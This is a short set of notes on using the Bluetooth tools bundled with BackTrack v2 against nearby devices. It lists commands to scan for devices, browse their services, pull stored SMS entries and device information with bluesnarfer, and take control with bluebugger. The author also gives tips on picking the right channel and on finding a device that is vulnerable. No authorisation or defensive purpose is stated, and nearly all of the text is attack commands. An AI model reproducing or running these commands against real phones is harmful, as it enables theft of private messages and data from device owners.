Notes on using the Bluetooth utilities included with Backtrack v2.

USB Device: Linksys USBBT100

Use HCITool for scanning - hcitool scan

Use SDPTool to find out what a device is capable of -

sdptool browse 00:00:00:00

BlueSnarfer Examples:

bluesnarfer -i -C 3 -b 00:00:00:00

bluesnarfer -r 1-100 -s SM -C 3 -b 00:00:00:00

-C = Channel - Selecting the right channel is important. You get the channel from the sdptool browse results. Usually try to use the channel that the serial com port uses.

BlueBugger Example:

bluebugger -c 3 -a 00:00:00:00 info

Note: When using the examples above, always replace “00:00:00:00″ with the actual ID listed in the results from hcitool scan.

If you follow the above examples and still get errors when attempting to access a device, it’s most likely due to the device not being vulnerable. Try testing with a device known to be exploitable. Also, I have found that using the COM channel listed in the sdptool browse usually works well.